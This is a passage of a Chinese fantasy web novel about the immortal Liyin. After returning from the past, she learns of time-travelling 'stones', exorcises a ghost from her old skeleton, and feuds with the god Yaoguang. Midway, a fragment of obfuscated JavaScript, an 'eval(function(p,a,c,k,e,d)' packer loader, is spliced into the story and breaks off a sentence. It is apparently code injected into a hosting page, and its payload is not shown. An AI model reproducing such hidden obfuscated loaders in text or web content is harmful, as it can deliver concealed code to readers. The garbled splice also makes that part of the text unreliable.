“我不可以这样叫你吗?” 摇光一笑:“自然可以,是学生忘了,老师刚从那里回来,若是叫惯了,便就这么叫吧。” 可璃音并没有继续这么叫他,她只是沉默下去,然后,殿外有个女声又高又急地喊了声“神君,小璃音真的醒了吗”,就有个人影,一阵风似的旋了过来。 璃音赶紧眨了眨眼,将眼中不想被人窥见的潮意全部眨走,可当巫真焦急的脸闯入视线,眸子里刚抑下的潮意,便又一下子泛了上来:“巫真师姐……” 巫真谨慎探过璃音的魂,确认她神魂都已完整后,才真正松下一口气,但手诀刚撤下,一根食指就朝她额上用力戳了过去,一面戳,一面好一通数落:“小璃音,你也真够厉害的,出去一趟回来,魂魄给我碎成那样,回来的时候气都不喘了!是想要吓死谁?你商止师兄这几日急得日日咳血,我看哪日你要真走了,我俩还有商月那小子,都得给你一并带走。” 挨了师姐一顿“骂”,璃音心里好受多了,很想扑进师姐怀里,狠狠撒上一会娇,然而身体仍是个瘫痪,她只好继续面无表情地道:“师姐,轻点戳,我还是个病人呢。” 求饶的语气,却是个僵直邦硬的表情,巫真被她这模样逗乐,大发慈悲地收回手,又忍不住问:“听神君说,你们在凡界遭袭,阴差阳错开启了‘涟漪’,他只好把你送去了九百年前。你可是在那边遭遇什么了,怎么弄成这副鬼样子回来?” 原来那个改良版的哐哐复原大阵,原本的名字,叫作“涟漪”。 好美的名字。 时空如涟漪,投石乍起,而后渐荡渐散,最后又消失成一汪阔大而平静的水面。 不过她回来得是有点狼狈,璃音不想多提,微垂了眼,只说:“是有人开启了血灵阵,被我用‘涟漪’化解了。” 巫真一听,面色当即凝重起来:“果真是血灵法阵?” 璃音嗯了声,内心斟酌了一番,终究没有说起巫彭大人。 想他也不过为人操控,且已受罚,还吃了她一记狠鞭,足够了。而且对于此处时空里的人而言,事情都过去九百年了,再提也没有意义。 与其翻旧账,还不如赶紧将昆仑即将遭劫的事说了,好让十位神巫早日做起防范。 然而话到嘴边,很奇怪地,却说不出来,仿佛喉头僵死,完全不听她的使唤。 可她刚才说话还好好的啊。 璃音心头一跳,先放下这个话头,试探着叫了句:“师姐?” 出声了。 巫真还当她在后怕,俯身过来摸她的发鬓:“不怕,回来了就没事了。” 但其实却是巫真自己在后怕:得亏小璃音有玉横在,心气还稳,遇上血灵杀阵,还能见招拆招,但凡换个人,都绝无可能全身而退了。 而璃音此刻亦在头皮发麻、心头狂跳。 她再一次失声了。 这一下她可以确定,或许是受某种天地法则的约束,自己说不出与昆仑之劫、或与她所知道的那个未来有关的任何字句。 她提前知晓了一个崩坏的结局,却无法提醒任何人,没有人知道当年那个鬼王是怎么来的,在鬼王真正到来前,也不会有任何一个人能来帮她。 而距离鬼王和它麾下的万千恶灵攻上昆仑,留给她的,仅有不到半年的时间了。 142. 第141章 石子 阵阵寒意蹿爬上脊背,璃音看着巫真师姐近在眼前的、关切的脸,脑子里飞速盘起了自己的胜算。 数万的阴鬼大军,她也不是没单枪匹马收拾过,但到底阴鬼是阴鬼,恶灵是恶灵,打一群狗,和打一群真正发了疯、存在就是为了报复人间的狗,那能一样吗? 更何况当时云卿溜得飞快,阴兵虽多,却无统帅,自然好收拾,但那群恶灵却是有个厉害头子的,上一世,就在虞家村,她还和它交过一次手。 它裹一件宽大的黑袍,看不出身形,整张脸都隐在深深的兜帽之下,她几次试着去掀它的帽子,都被它疾速躲开了,似乎很是避讳暴露自己的长相。 而自己也就是在那次交手中,失了神智,牵累了满村无辜的性命,自此,她的人生,一败涂地。 她并不畏难,也不怕死,但这种被迫去打一场无从准备的仗的感觉,她很不喜欢。 她怕自己最后哪怕拼尽了全力,也依然无法扭转最终那个可怖的结局。 “整天喊这不怕那不怕的,这次算是知道怕了?” 额头被指节轻轻敲了一下,男子清润的嗓音传来,璃音回过神,自己不镇定的神情被人察觉,她有些发赧,但同时也发现,自己的面瘫居然好了,于是立刻一个扭头,嘴一撇,就向巫真告起状来:“师姐你快看,师兄他又打我!” 可惜师姐和商止师兄是一伙的,巫真一个脑瓜崩弹下去,弹得比师兄还狠:“小没良心的,怎么不说你让你师兄操了多少的心。” 师姐的心早偏了,璃音顿觉孤立无援,求助的视线向外一扫,看见正把着商止师兄轮椅的商月,而她的目光越过他,落向了不远处,沉默站着的摇光身上。 原来他一直在那里安静地看着他们打闹,没有离开,也不过来。 他和她难道不该是一伙的吗,这样正需要同伙相帮的场合,他凭什么不过来? 谴责的眼刀射过去,他显然接收到了,微挑了眉,眸光潋起笑意,步子动了动,似乎就要过来,可是商月帮她说话的声音先响了起来:“阿横神魂初愈,身子尚弱,兄长,师姐,你们就放她一马吧,别说她了。” 这护短护的,巫真立马“唉哟”一声,和商止对视一眼,笑了起来。 摇光欲抬的步子一顿,身形骤止。 明明商月是在帮她说话,也算有了同伙,璃音心里却没好气:她只是意识和身子连接需要时间,动作暂时僵硬了些,哪里是什么体弱! 再一抬眼,却发现不远处的那个身影,就这么一转眼间,竟已经不在了。 这就走了?! 璃音气得牙痒拳头也痒,这时她听见商止师兄肃起了声音问她:“阿横,你刚才说,你是用‘涟漪’破了血灵之阵?” 璃音缓缓点头,嗯了声:“我也是赌了一把,想着有玉横在,才敢试的。” 纯送死的事,傻子才干,她不可能干。 商止抬眸,看了眼正凌空而悬、散发着淡淡柔和碧光的玉横,也似是在后怕,沉默了会,发出了和巫真一样的感叹:“也亏得是你,涟漪、破军、玉横,但凡缺了一样,都回不来了。” 璃音想想还真是,这丝丝环扣的,真可谓是生死一线、虎口还生,若她没有阴差阳错地去到九百年前,或者说,若去的不是她,而是换作任何一个旁人,那天上的摇光神君,都注定要死在那一次看似平常的历劫之中了。 而她呢,去的若不是九百年前,而是换作任何一个小七不在凡间、无法轻易接近的时空,她都不可能使唤得动破军,那她也就再也回不来了。 说到破军,巫真忽然想起什么:“小璃音,你这趟过去九百年前,见到在那里历劫的摇光神君了?” 璃音被问得哽住,但否认也是无用,只好沉默地点了点头。 “那就怪了。”巫真面露疑惑,“这几日我和神君还聊起过这事,听他说的,怎么好像没见过你的样子。” 璃音指甲无声地一挠褥子,面无表情地道:“又没什么刻骨铭心的事要记,就路上遇见,打个招呼,借了把剑用用,许是时间久远,就忘了呗。” 不想多聊这个,她看向巫真,干咳一声,转开了话题:“师姐,咱们昆仑山,有没有什么积怨百年千年的宿敌,或是整日虎视眈眈、想来抢夺山头的老妖怪啊?” 未来之事不可说,那她拐弯抹角打探一些消息,总是可以的吧。 巫真被问得好笑,伸手对着璃音的脑壳就又是一记脑瓜崩:“你把昆仑当什么人间的小山门了,还抢山头。” 商月也笑,那笑看得璃音不大舒服,是一种似乎看她傻傻的很可爱、十分宠溺的笑。 所以在他眼里,她是个身子又虚、脑子还傻的姑娘,那前世的他,到底在喜欢她什么?还喜欢得那样执着。 璃音想不明白。 只有商止师兄敏锐地捕捉到了什么,问她:“阿横,你是不是在那边遇到什么人了?” 鬼王的事说不出来,但经师兄这么一问,还真叫璃音想起一个人来:“师兄,你知不知道世上有哪一类人,在外行走时,会把全身都包裹起来,他们好像有的用黑布,有的用银甲,但总之一定要把全身遮得严实,只露一双眼睛在外面的?” 这话显然把见多识广的师兄都给问住了,商止微皱了眉,似在努力思索着,巫真却在一旁说:“这说的,遮着全身,只露一双眼睛,怕不是得了同一种皮肤病,见不得人。” 商止眼中被巫真的回答逗出笑意,想了会,才说:“或许是日行的阴鬼?” 璃音觉得不像,无论是出现在揽华殿中的偷画贼,还是东海中突然冒出来的那个身穿万龙甲的神秘人,她都是实打实与他们交过手的,有躯壳,不是阴鬼。 她慢慢摇头,就在以为再理不出这几人身份的时候,商月忽道:“他们应该是‘石子’。” “石子?”巫真惊讶,没想到还真有这么一群人,且她竟然从未听说过。 听说有线索,璃音一下子激动起来,挣扎着拖着半边僵硬的身子,竟腾地坐起来了:“什么是石子?” “你慢些,别牵动了哪里。”商月见她起身起得急,忙过来扶住,搀她慢慢地坐好,“西王母曾有一个神器,后来碎落人间,叫作昆仑镜,持镜者,可通万方宇宙,窥未来前尘,甚而于前后万万年,都可自如来去,这个你该知道。” 璃音点头表示知道:“那个把我推进‘涟漪’的偷画贼,应该就是通过昆仑镜来的。” “不错,像这样踏入不属于自己的时空的人,就叫做‘石子’。”商月往璃音身后垫了两个枕头,让她能靠得舒服些,“在昆仑镜碎落的这几百年里,这样的人,不可避免地悄悄多了起来,慢慢地,就积聚成了一群人。而这群人踏入别的时空,就像一颗石子投入了原本平静的水面,会激起涟漪,所以就被叫作‘石子’。” 璃音立刻举一反三:“那我踏入了九百年前的时空,我也是投向那个时空里的一颗‘石子’了?” “可以这么说。”商月笑了笑,“但‘石子’也分几类,一类就是像你这样,去到九百年前,没有另一个‘你’可叠加的时空。但还有一种,是去到一个自己本就存在的时空,但一躯一灵,为避免自己两个躯壳相融、神魂互噬,就需要把自己严密包裹起来,不让神魂气息外泄。” “你方才说的,应该就是这一类‘石子’。” 璃音猛地想起,自己最初重生回虞家村时,和小天真身躯魂魄渐渐相融的事。 所以若那些人不做措施、不把自己一层又一层地裹起来,就会被另一个自己吞掉、或是吞掉另一个自己? 有了商月给的这些信息,虽然仍不能断定那些神秘人是谁,但至少确定了一件事:那个穿戴万龙甲的神秘男子,是一个本就存在于九百年前那个时空里的人。 思索的同时,璃音不由得看向商月:“你怎么会知道这些的?” 连巫真师姐和商止师兄都不知道,他是从哪里知道的。 商月笑起来,一根手指竖起在唇上抵了抵,做了个悄悄话的手势:“月宫接了娘娘 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商月面上微赧,忙垂首道:“师姐教训得是,我也是看屋里没有外人,怕阿横受了欺负,找不着人说理,一时急乱了,这才想着要与阿横说一说。” 这话乍一听是关心她,但怎么就是这么叫人不舒服呢,好像他说了不该说的话出来,都是她的错一样!璃音噎了一下,但她什么不满也不敢表示出来,毕竟人家确实就是为了她才说的,不是吗? 于是她只好在巫真师姐严肃的训斥声中干笑一声,挤出了个无辜而冒着傻气的笑。 反正在商月眼里,她大概本来就是个傻子了。 随便吧。 只有商止,从商月提出‘石子’之后就没再说话,此刻,他静望着弟弟恭敬听训的样子,静望了很久,很久。 月宫里的事,他久已不管了,他的身体经不起那般消耗,商月接手,亦是早就开始的事。 只是他这个弟弟,总是怕做不好,每一点小事都爱仰赖自己,处理完的公文,也会拿来问他,这件事这样处理对吗,或是那件事他又该怎么做。 原来早在不知什么时候起,他已能独当一面,甚至能独自去处理王母派下的秘密任务了。 阿月,渐渐脱离了他的羽翼,也能飞得很好了。 而巫真训完了商月,看看这探病也探得差不多了,于是扭头就问:“小璃音,接下来你什么打算,总在神君殿里叨扰着也不是个事,要么现在就跟我们回昆仑?” 这里原来是,摇光的神殿? 璃音微怔。 但很快便想明白了:‘涟漪’是由破军做的时空向导,那它把自己带往了摇光的殿中,也就很合理了。 难怪他那么不高兴呢,她躺在这里,一定妨碍他和那位种草莓的女仙卿卿我我了吧。 璃音牙刚磨了两下,忽觉掌心一热,她翻开手心,立时腾地一下,一簇小小的火苗带着一张请神令,便一起窜了出来。 是虞宛初写来的。 “听神君说夏姑娘醒了,大家都很记挂姑娘,不知姑娘何时有空,再来伏龙山巅一叙。” 这虞姐姐,是把请神令当信纸写了,璃音有些想笑,却忽然觉得不对:什么叫“听神君说夏姑娘醒了”?! 好你个摇光,世上最渣的北斗七,有空和别人种草莓印,有空给虞姐姐报信,就是没空在她床前多说一句话,多陪她一会。 石头身子彻底磨合好了,璃音气势汹汹地掀被下床,匆匆留下一句“你们先回去吧”,就一个闪身冲出殿门,在小院中找到了优哉游哉坐在桂花树下喝茶的摇光,一把拎着衣领把人提了起来:“先跟我下去一趟,账待会再和你算。” 说着,指骨一收,便把请神令捏在了掌心,两人身子一坠,就要往伏龙山坠去。 然而,就在这时,璃音听见远远传来一声“阿横,我陪你一起”,便觉身侧银光一闪,接着袖子就被商月拽住。 她根本来不及说不,三人就这么你拽我、我拽你,连成了一条绳上的蚂蚱,向着伏龙山顶的不还寨,急坠而去。 143. 第142章 夺骨黑雾 “虞姐姐,你说这是我的骨头?” 伏龙山顶,不还寨宽敞的大院中央,湛清的冷蓝结界之中,一具浑身上下泛着淡金色圣光、却又在眼窝处聚集了两团森然黑气的人骨,正“睁”着它那双黑黢黢的洞眼,和结界外的璃音大眼瞪小眼,一个黑雾狂喷、一个满目愕然地对望着。 白骨纤细的脖颈上,一把银质精巧的长命锁,正散发着淡淡柔和的清光,安静地坠挂在那里。 璃音认得,那是阿爹在她出生后不久,为护她平安长大,特地为她打来的长命锁。 她一直知道自己作为凡人,是死在了十六岁上,很是英年早逝。 但很奇怪,就如同她总是回想不起自己那入赘的夫君是谁一样,无论她如何追想,都记不起来自己究竟是如何英年早逝的了。 不过,有这长命锁在,那这是她的骨头,大概是无疑的了。 她只是没想到,自己从九百年前回来,神魂竟曾遭困在此,经历了这样一番曲折。 璃音身边,虞宛初、虞宛言、还有山桃都在,他们也都没想到,这黑雾如此顽强,被长命锁压制,又被璃音的残魂碎片压着狠狠揍了一顿,竟仍强撑着不肯消散。 虞宛初有些为难地看了璃音一眼:“这该是夏姑娘的骨头无误,只不知被哪里来的游魂附占,跑了出来,它就……就开始到处砸抢他人的棺椁……” 说到这个山桃就来气,立刻在边上愤愤接口:“对对对!今夏砸到伏龙山上,砸个没完没了!寨子里多少姐妹的睡棺都被他给砸占了,初时我们当它是无人殓葬的一具野骨,看它可怜,还特地制了副好棺送他,谁知它压根看都不看一眼,就非要抢着姐妹们的棺材睡!” “我们本来是想把它揍一顿赶走的,可虞姐姐一看,说这是夏仙子的骨头,我们也就不敢随意处置了。”山桃一脸憋屈无奈,“后来神君过来,给它设下了结界,但这样一抹来历不明、占别人遗骨、还抢别人棺材的野鬼,难道我们还一直把他当祖宗供在这里吗!” 说着看向璃音,满脸恳求:“夏仙子,好在你终于醒了,快想个办法,把这祖宗给收了吧!” 自己的遗骨,被野鬼侵占,还到处抢砸别人的棺材?! 璃音听得瞠目结舌,又气不打一处来,这不败坏她的名声吗! 手掌一翻,一个杀气腾腾的手印就被她缠了出来。 幽幽绿光浮起,就在手诀即将向着那白骨打出的瞬间,商月倏地伸臂,将她的动作拦住了:“阿横,那毕竟是你的遗骨,能不损伤还是不损伤的好。” 璃音眼角一抽:一具自己死在几百年前的骨头而已,是什么很值得她在乎的东西吗?她如今唯一在乎的,只有这骨头竟敢顶着她的身份,在外为非作歹,坏她的声誉! 但看商月满眼珍惜地望着那白骨,比她自己还珍视的样子,一股熟悉的愧疚感泛了上来,他只是在关心她,对她好而已啊。 心里长长叹一口气,像面对他时,过往的很多次那样,璃音硬生生将想要驳他的话忍下,压着脾气,收了掌印,手向腰间摸了过去。 “在这里。” 一只手掌同时伸了过来,宽大的掌心里,静静躺着她的一对引魂铃。 璃音想都没想这东西怎么在摇光手上,只是自觉任何问话、或是谢谢都不必说,便很自然而然地接了过来。 叮铃—— 回到腕间的“荒”铃被她叩响,荒铃一出,万邪现身! 那一团黑雾如被音浪狂搅,四散冲撞,又被锁在骨架之中,逃身不得,不一会,雾气碰撞缠绕间,一个自模糊而渐成形的人影,便在白骨之中,渐渐显现了出来。 在这期间,院中的所有人都在凝神看着。 璃音更是上看下看,左看右看,把那糊糊的人影来来回回打量了好几遍。 但无论怎么看,对方都似乎只是个相貌憨厚老实、身材也憨厚老实的……平平无奇的男人? 不料,待到黑煞褪尽,魂魄彻底显影的那一瞬间,这“平平无奇的老实男人”竟蓦地睁开一双暴凸的眼,一如还是黑雾时那样,向着璃音,恶狠狠地瞪了过来! 不是,大哥,你谁啊? 霸占了我的遗骨,你倒还瞪上我了? 璃音眉峰一抬,手腕一抖,阎王扣顺势成鞭,一鞭子就要向那道人影抽去! 然而却又一次被人拦住了。 这一次璃音没压着脾气,一个横眼,就毫不客气地向摇光看了过去:“你也要拦我?” 摇光淡淡迎着她不大友善的目光,没一点生气,只淡淡说了一句:“老师不记得他是谁了吗?” 她应该记得他是谁吗? 璃音愣了下,记忆里搜寻一圈,也实在没能想出这么一号人来。 而且…… 不知是不是自己的错觉,她怎么隐隐觉得,发觉她想不出那人是谁之后,小七的唇就微微抿起了一点,看她的眼神里,也多了点不易察觉的东西。 但那神情太过熟悉,她一下就捕捉到了。 这人真是,她还没找他算脖子上那颗草莓印的账呢,他倒还先和她闹上情绪,不高兴上了。 就因为她没认出那个黑雾人? 要知道他是谁还不容易! 指间兰花印起,璃音闪身上前,反手于魂影额心处一敲,便直接叩入了那黑雾人的神魂之中。 圣女骨有圣光护体,好似一个金刚罩,旁人有通天的本事,也是难以侵入。 但璃音不一样,正主在这,哪有不给她开门的道理。于是入内探魂,也不过就是抬抬手指的事。 但这一探,倒把璃音给探得愣住了。 这黑雾包裹着的,是一个她从未设想过的人。 她狐疑地转过脸来,看向摇光:“你认识他?” 不可能啊。 他俩能有什么交集? 别说八竿子了,根本是八百竿子都打不着的关系! 可听他方才问话的语气,又分明知道这人是谁,甚至还知道她和他应该相识。 再看他现在,仍只是神色淡淡地看着自己,不说话,只唇线紧紧绷着,一副看似无所谓、实则浑身的毛都静静炸了一身的样子。 璃音不知怎么,就有些想笑。 果然他还是他,虽然不晓得他又闹什么脾气,但这闹脾气时的样子,可不就和慕璟明一模一样。 “怎么了怎么了?”山桃看璃音转了头却半天不说话,实在憋不住了,“夏仙子,骨头里那团黑雾到底是谁啊?” 璃音笑笑,回她:“算是我远方的一个……堂弟吧。” 虞宛初一听,便即恍然:“难怪……” 原来是有亲缘关系,难怪这骨头能被他附上。 “堂弟……”山桃却惊呆了,“他是你的亲眷,那怎么还来夺你遗骨呢?!” 虽然山桃自己便是附骨而生的,但她其实情况特殊,她是墨灵,附谁的骨头都能生,所以她会觉得,若给她挑选,她一定不会挑亲近之人的遗骨来用。 一来是用着奇怪,二来嘛,人都是有私心的,她也有,谁不希望自己入了葬的亲人,遗骨可以在地下安息呢。 璃音瞥着摇光,话中有话地道:“说是堂弟,其实几乎没走动过,面也没见过几次,若不是探了他的识海,我都认不出他来了。” 所以,她都差点认不出来的堂弟,他是怎么一眼就瞧出人家是谁的? 不过在这位堂弟的识海之中,她倒是还探出了一件颇有意思的事:“但我和他,倒也不是全无交集,我阿爹当年似乎很属意他,一心要把他过继进府中,来当我的亲弟弟,好继承家业呢。” 说到这顿下。 山桃不愧是连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但显然商月不这么觉得,他也没因为被个凡人修士呛了就发恼,只说:“他虽已化煞,但若有人可以对他加以感化,假以时日,未必就不能引他重归正途。” 虞宛言听着,忽幽幽笑了一声:“感化?” “多久能感化一只煞,一千年,一万年?若煞的执念能被轻易感化,它们也就不会成煞了。” 商月仍旧不恼,用他那尘埃不染的嗓音,布道似的,对虞宛言清声道:“难道因为此事难行,就试也不试一下了么?” 阴郁的少年又凉笑一声,驳他驳得毫不留情:“这世间鬼煞万千,仙君若要一一感化,恐怕整个天宫千千万万年,都只能忙这一件事了吧。” 璃音没理会他们两人关于感化不感化的辩论,她深知商月就是那性子,前世,她成了魔女,他不也还想着要感化自己呢么。 多么清风朗月的仙君,多么圣光普照的心肠! 光是站在他身边,她都觉得自惭形秽,好一阵压力。 她撇撇嘴,一把将摇光扯了过来,指指自己那具还倒在地上的遗骨:“这个,怎么处理?” 升仙后,曾经的凡骨该怎么处置,她没经验,也没头绪。 望着那具白骨,摇光淡黑的眸底,似乎又映照出了那日山巅之上,熊熊吞噬掉少女倔强身影的那一抹火光,他垂下眼:“你若想留,我替你葬回去。” 原本,这一副遗骨,也是他为她葬的。 人祭本该曝尸于野,但在回来之前,他还是为她收殓了尸骨,葬入了属于她的豪华陵墓之中。 话出口后,久未得到回应,摇光转过脸,就见少女正凑在自己跟前,一双黑亮的眼睛眨也不眨地盯着自己。 “脾气闹完了,不喊什么老师学生了?” 少女微挑着眉梢,又朝他逼近了些,用只有两人能听见的声音,看着他说:“说吧,我哪里得罪你了,为什么回来后就不理我,刚才又为什么生气?” 144. 第143章 骗子 璃音轻声朝摇光问着话,漆亮迫人的目光,也同时毫不遮掩地顺着他的衣襟,一点一点,探了进去。 衣领熨帖,目光能深入得十分有限,只能看见男人端正优雅地露在外面的那一截脖颈,衬在墨色的发前,愈发显得冷白修长。 只看一眼,就让人很有一种想要狠狠扼上它、欺负它、去那上面留下斑斑痕迹的欲念和冲动。 而璃音知道,此刻,有一道别人在他身上留下的暧昧红痕,就静静地藏在那里,藏在被他拢得严实的衣领之下。 思及此,璃音的目光,简直快把男人的衣领子戳出两个洞来。 承诺了把神魂永生永世都交付给她的男人,一旦背叛,该怎么处置? 她同样没有经验,也没有头绪。 想一想,天上人间似乎也都没个相应的律法可寻,那就依照她的心意,大概不是宫刑,就是死刑吧。 不过,她毕竟还是讲道理的,具体怎么弄,她觉得还是得先经过审问,给对方一个开口的机会,听听他是个什么说法,评估一下严重程度,再做定夺。 结果他只是静静看了她半晌,就若无其事地别过了脸,扬袖一挥,收了白骨,说:“没有。” 没有? 没有什么? 是没有和别的女仙厮混,没有不理她,还是方才没有和她闹别扭、不高兴? 无论回的是她哪一个疑问,通通都是睁着眼睛说瞎话! 再一看,那刻意别开的侧脸,微微绷紧的颌线,紧抵着的双唇,还有,都快垂成两面小扇的长睫…… 哦,原来是脾气还没闹完呢。 往常这种时候,她早上去左摸摸、右摸摸,顺着毛哄他了。 可是…… 少女的眼底,有薄亮的一层水光偷偷泛了出来,她也迅速别过脸,没吭声,静待眼眶中的那阵酸热退却。 她哄他,谁又来哄哄她呢? 她也难受,也生气。 刚为了他生死一线地回来,他却是这个态度,不停地给她摆脸。 明明回来之前,一切都那么圆满,圆满到她为了这份美好,连替他挡劫赴死都甘愿。 要对他好,要护他平安,她对他承诺过的,全都说到做到了。 难道这样还不够吗? 她对他的这些好,终究还是不够让他惦念九百年吗? 璃音一时无言。 “行了,阿言,休得对仙君无礼。” 独属于两人的寂静中,虞宛初在后边无奈打着圆场的声音,清晰地传了过来:“舍弟年纪尚小,言行无状,是我管教不周,还请仙君海涵。” “阿姐……”虞宛言似乎还不服气地想辩上两句,被阿姐及时制止住了。 璃音回头,正遇上商月不作计较地一笑,如山风轻轻拂面,还是她熟悉的那般光风霁月:“论道而已,姑娘言重了。” 脾气真好啊。 不像她。 也不像摇光。 正想着,远处一道流光划了过来,文昌挽着楚雁儿,落入了院中。 山桃立刻欢喜地迎了上去:“夫人回来得正好,姐妹们正在后厨生火做饭呢,一会就能开饭了,快来快来,还有夏仙子也在呢!” 商月那清风过岗般的笑容却给愣没了,他怔在原地,看向文昌和楚雁儿交挽在一处的胳膊肘,瞠目:“帝君,这位是……” 文昌显然没想到,这不还寨里居然会有这么一位“外人”,一下子脸色也是精彩纷呈,他呆睁着一双眼,显然不知该如何作答,就在那里胡言乱语地回:“哦,商月仙君啊,哈哈,哈哈哈,真巧,真巧啊……” 山桃在一旁,觉得文昌这蠢样简直没眼看,默默望天翻了个白眼。 历劫归位后,当断不断,与下界的姑娘痴缠,还被别的仙君迎面撞见,实在大为尴尬。文昌哈哈尴尬着傻站了半天,但无论是猝不及防间的下意识,还是如今反应过来后,他都没有松开楚雁儿的手。 还是楚雁儿自己将手抽了出来,向着商月盈盈一拜,端色道:“我只是幸蒙帝君关照,随帝君修行的一只画灵,让仙君见笑了。” 这下文昌不乐意了,心里知道雁儿这么说是为保全他,但还是一脸的幽怨。 真好啊,璃音看得笑笑,走上前去:“他不会往外说的,楚娘子和帝君尽管安心。” 转过脸来,望向还没从文昌私会凡女的惊天八卦中回过神来的商月,冲他眨眼一笑:“对吧,商月仙君?” 好久没见她对自己这样笑了,商月刚从震惊中缓过神来,就又陷入了另一种微漾的恍惚之中,他也笑,笑得眉眼都亮晶晶的:“对,不说。” 又拿假笑骗人了,还骗的是商月,一股浓浓的罪恶感,从璃音心里升了起来。 大概是自己的爱情似乎无望了,就越发希望别人的爱情能有个好结局起来,她有心帮楚雁儿和文昌一把,只是以她现在的心情,要她真笑,又实在笑不出来,于是只好如此。 日头渐渐西坠,已经开始有晚霞漫了上来。 见寨中来了这么多仙子神君,山桃兴奋不已,忙张罗着,干脆将桌椅都搬出来,摆在了院子中央。 于是长长的一条大板桌,上头摆的是热气腾腾的好菜,下面垫的是水磨金玉的砖,旁边又是一排整齐闪亮的棺材。 这氛围……真是有种难言的诡异温馨。 璃音被山桃拉着坐下:“知道夏仙子今日要来,姐妹们特意准备了这一桌好酒好菜,仙子为我家夫人的事费心不少,这顿就算是我们小小的答谢,今晚可一定要留下赏光!” 吃饭吗?神仙实在不需要这个,但盛情难却,而且,连文昌帝君都特地来了,不留下,似乎不大好。 怔神间,又感觉被人拉了起来,重新挪了位置,又被按下,商月在她耳边温声絮絮:“阿横,你坐这边,那里迎风,一会别吹得难受。” 又不是娇弱的凡人,风吹不吹的,她其实也不是很在意,但商月显然很在意,璃音一时也不知该回应什么,只好愣愣点着头“哦”了一声,说:“谢谢。” 她不大擅长应对这种太多人聚在一起、吃喝玩闹的场合,下意识抬眼,用目光去寻那一个能给她安全感的身影。 却什么也没有寻到。 她愣了下,身边文昌刚好坐下,她扭头就问:“小七呢?” 文昌向身后指了指:“说是有什么骨头要去处理一下,就不留了,喏,就刚刚在那和我说的。” 璃音又是怔怔“哦”了声,回头去看,只看到一抹冷蓝流光的余辉,男人的身影,已经不知消失去了哪里。 每日连起床这样的小事都非要报备的人,突然间,连提前独自离开,都不来向她知会一声了。 璃音怔怔的,甚至忘了自己方才已经“哦”过了,回过头来,又浑浑噩噩“哦”了一声。 原先瞧着挺机灵的一个仙子,今日怎么反应慢半拍似的,文昌瞧着有些不对劲。 毕竟是那副样子回来的,别是留下什么后遗症了吧……那摇光不又得作妖! 心头猛地一跳,文昌忙试探着寒暄了句:“听说仙子是今日醒的,身子可都恢复得还好?” 小仙子又慢半拍才反应过来要回话,她冲他笑笑:“谢帝君关心,我挺好的。” 另一边月宫里的那位仙君给她碗里夹东西,她也笑着转头说谢谢,笑得清甜有礼,又好像没什么异样。 大家说到底,都是因着楚雁儿和“陆郎”的事凑到一起的,于是没多久,自然就聊到楚雁儿去皇城告官的后续上去了。 璃音兴致不高,只对这事的结果,倒还有几分好奇。 山桃讲得最是来劲:“夏仙子,那杨肃和陈天财如今怎么样了,你一定猜不到!” 璃音是真猜不到,距离他们出发去皇城告状,也就不过几个月的时间,望州到皇城可不远,不说官府受理“鬼魂”报案这事的难度,也不算那些费时费力的调查扯皮,光是押嫌犯到堂,就得费好一阵功夫吧。 她不由诧异:“这官司这么快就有结果了?” 山桃也没真打算让璃音猜,她早憋不住了,不过象征性顿了顿,就大笑一声,道:“哪能呢,那官府磨磨唧唧的,还是揽华公主替我们出头,才不情不愿接了状子!虞仙长恐杨肃和陈天财那两个杀人犯得了风声,事先跑了,就说先回望州看一眼,结果这一回,才发现在我们状子递上去的当天,他俩就已一双兄弟一起走,整整齐齐去往阴间作伴了!” 璃音愕然:“死了?” 杨肃和陈天财,全都死了? 山桃抚掌笑道:“是啊,夏仙子,你要听说他们是怎么死的,那才叫好笑呢。” 原来在杨肃一刀砍翻了奸夫陆安,楚雁儿被狱卒逼死在狱中,陈天财又保了杨肃出狱后,两人便有福同享、不分你我地挥霍起“公子川”留下的那一大笔遗产来。 “陈天财那狗东西,夫人走了还没半个月,他就把在外新娶的那个老婆,大咧咧领回家里去了!花亡妻的钱,养自己娇娇美美的新媳妇,他想得是挺美,只没想到,那新媳妇是个心眼小的,可不像夫人一样,肯惯着他那位三不五时要来打秋风的杨兄弟。” “那位新媳妇,一听夫人的遗产居然还要给杨肃一半,立马不满起来了,说哪有亡妻赚下的钱,还分给兄弟的道理 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“那杨肃砍完陈天财,报官的还没跑出两步远,他自己就毒发身亡,口吐白沫,倒在陈天财那一摊死肉上了。” 山桃说到痛快处,仰头灌下一大杯酒,又感叹:“倒是狗东西新娶的那个小媳妇命好,这下公子川留下的钱财都是她的了,死了老公,还发一笔横财。” 曾经看着恨不能死也要死在一处的“好兄弟”,居然是作此收场,倒也算是死在一处了,璃音默然。 不过听山桃对那小寡妇的感慨,又不由说了句:“公子川那笔钱,你们若真想要,也追讨得回吧。” 璃音脚底蹭了把镶金的玉砖,觉得以不还寨中各位的富裕程度,公子川留下的那点银子,她们估计压根瞧不上。 楚雁儿和文昌如今一个画灵、一个帝君,更是再无所谓那些黄白俗物。 但这是不蒸馒头争口气的事,自己赚的钱,凭什么要去便宜不相干的人。 “那些钱财,其实虞家两位仙长替我们追回来了。”楚雁儿笑道:“但陈天财和杨肃一死,眼看官司没了着落,我和陆郎之死的真相,也是追讨不出了,还是摇光神君出的主意,让我们索性把家产就留给陈天财的新夫人,换她行个方便,换在陈天财下葬那日,将他和杨肃做的事作成唱词,大吹大打,请人在他葬仪上唱了个够。” 说到这,亲眼见识了这番场面的几人,大家默契交换着眼神,都笑了起来。 文昌啧啧抿了一口酒:“小仙子,摇光这小子跟着你,可真是学坏了。” 虞宛初也笑:“是啊,我当时就说,这法子怎么那么像夏姑娘想出来的。” 说着看向璃音:“夏姑娘还记得吗,当初在虞家村,处理姑父谋害姑母和染棠那件事,夏姑娘不就说,要编成戏文,给他到处传唱,叫他遗臭万年,才叫好罚呢。” 这居然是小七想出的法子。 小七跟着她,学坏了吗? 璃音听得有些发懵。 可是,她也没教过他这些啊。 这时一旁的商月忽然笑了笑,说:“神君行事,千万年来一向放恣随心,倒不能就说是和谁学的。” * 惘山后山。 前朝圣女的豪华陵墓之中,摇光抱着具泛着淡淡金色柔光的白骨架子,第二次,将它小心地放入了宽大的棺椁之中。 他没有急着将棺盖合上,而是俯身,静静看她莹白的骨架。 